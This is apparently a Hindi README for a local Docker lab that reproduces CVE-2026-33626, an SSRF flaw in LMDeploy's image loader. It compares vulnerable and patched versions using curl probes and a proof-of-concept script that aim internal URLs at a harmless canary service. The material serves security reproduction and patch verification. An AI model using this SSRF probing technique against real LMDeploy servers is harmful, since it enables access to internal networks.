
Docker Compose लैब CVE-2026-33626 को LMDeploy के विज़न-लैंग्वेज इमेज लोडर में SSRF को पुन: प्रस्तुत करता है। कमजोर (0.12.0) और पैच किए गए (0.12.3) व्यवहार की तुलना PoC स्क्रिप्ट और आंतरिक कैनरी सेवा के साथ करता है।
यह रिपॉज़िटरी CVE-2026-33626 को दोहराती है, जो LMDeploy के विज़न-लैंग्वेज इमेज लोडिंग पथ में एक सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) भेद्यता है।
भेद्य व्यवहार तब होता है जब LMDeploy एक इमेज URL प्राप्त करता है और सर्वर-साइड इमेज लोडर उस URL को आंतरिक, निजी, लूपबैक या लिंक-लोकल पतों को ठीक से ब्लॉक किए बिना लाता है।
यह लैब तुलना करती है:
| Service | Version | Purpose |
|---|
vuln | LMDeploy 0.12.0 | भेद्य व्यवहार प्रदर्शित करता है |
patched | LMDeploy 0.12.3 | पैच किए गए व्यवहार को प्रदर्शित करता है |
internal | Local canary service | Docker नेटवर्क के अंदर केवल-आंतरिक संसाधन का अनुकरण करता है |
यह लैब Docker Compose के साथ स्थानीय रूप से चलाने के लिए डिज़ाइन की गई है और क्लाउड मेटाडेटा एंडपॉइंट या बाहरी लक्ष्यों से संपर्क नहीं करती है।
LMDeploy विज़न-लैंग्वेज वर्कफ़्लो का समर्थन करता है जहाँ एक इमेज उपयोगकर्ता-आपूर्ति URL से लोड की जा सकती है। भेद्य संस्करणों में, इमेज लोडिंग कोड उन URL को ला सकता है जो आंतरिक/निजी नेटवर्क पतों पर हल होते हैं।
यह LMDeploy एंडपॉइंट तक पहुंच रखने वाले हमलावर को सर्वर से आंतरिक संसाधनों का अनुरोध करवाने की अनुमति दे सकता है, जैसे:
इस लैब में, आंतरिक लक्ष्य जानबूझकर हानिरहित है:
http://internal:9000/private.png
यह URL केवल Docker Compose नेटवर्क के अंदर मौजूद है।
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
यह लैब पूर्ण VLM इन्फ्रेंस सर्वर नहीं चलाती है। इसके बजाय, यह कॉल करके भेद्य LMDeploy इमेज-लोडिंग प्रिमिटिव को अलग करती है:
from lmdeploy.vl import load_image
load_image(url)
यह पुनरुत्पादन को हल्का और नियतात्मक रखता है, साथ ही उस सुरक्षा व्यवहार को प्रदर्शित करता है जिसे पैच किया गया था।
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
| Service | Host URL | Container Port | Description |
|---|---|---|---|
vuln | http://127.0.0.1:8081 | 8000 | LMDeploy 0.12.0 रैपर |
patched | http://127.0.0.1:8082 | 8000 | LMDeploy 0.12.3 रैपर |
internal | http://127.0.0.1:8090 | 9000 | आंतरिक कैनरी सेवा |
Docker नेटवर्क के अंदर, आंतरिक कैनरी इस रूप में पहुंच योग्य है:
http://internal:9000/private.png
Apple Silicon पर, vuln और patched सेवाएँ linux/amd64 के रूप में चलती हैं क्योंकि इस लैब में उपयोग किया गया LMDeploy व्हील x86_64-उन्मुख है।
सेवाओं को बनाएँ और प्रारंभ करें:
docker compose up -d --build
कंटेनर स्थिति जाँचें:
docker compose ps
अपेक्षित स्थिति:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
अपेक्षित आउटपुट:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
एक वर्चुअल वातावरण बनाएँ और निर्भरताएँ स्थापित करें:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
PoC चलाएँ:
python poc/poc.py
डिफ़ॉल्ट SSRF लक्ष्य है:
http://internal:9000/private.png
यह लक्ष्य Docker कंटेनरों से पहुंच योग्य है, सार्वजनिक इंटरनेट से नहीं।
भेद्य सेवा को आंतरिक कैनरी इमेज सफलतापूर्वक लानी चाहिए:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
यह पुष्टि करता है कि LMDeploy 0.12.0 ने आंतरिक Docker सेवा के लिए सर्वर-साइड अनुरोध किया।
पैच की गई सेवा को आंतरिक सेवा तक पहुंचने से पहले उसी URL को ब्लॉक करना चाहिए:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
यह पुष्टि करता है कि LMDeploy 0.12.3 गैर-वैश्विक/आंतरिक IP पतों पर हल होने वाले URL को ब्लॉक करता है।
अंतिम अपेक्षित सारांश:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
आंतरिक कैनरी रीसेट करें:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
भेद्य सेवा का परीक्षण करें:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
अपेक्षित: /hits में एक अनुरोध होता है।
पैच की गई सेवा का परीक्षण करें:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
अपेक्षित: /hits खाली रहता है।
PoC आंतरिक सेवा से सीधे हमलावर के रूप में अनुरोध नहीं करता है।
इसके बजाय, PoC LMDeploy को एक आंतरिक URL भेजता है। यदि LMDeploy उस URL को कंटेनर नेटवर्क के अंदर से लाता है, तो आंतरिक कैनरी अनुरोध को रिकॉर्ड करता है।
यह व्यवहार SSRF प्रिमिटिव को सिद्ध करता है:
attacker-controlled URL
↓
LMDeploy server-side image loader
↓
request to internal network resource
पैच किया गया संस्करण गैर-वैश्विक IP पतों पर हल होने वाले URL को अस्वीकार करके इसे रोकता है।
docker compose down -v
GitHub सुरक्षा सलाहकार: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
पैच कमिट: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
पुल रिक्वेस्ट: #4447 https://github.com/InternLM/lmdeploy/pull/4447
Sysdig विश्लेषण https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours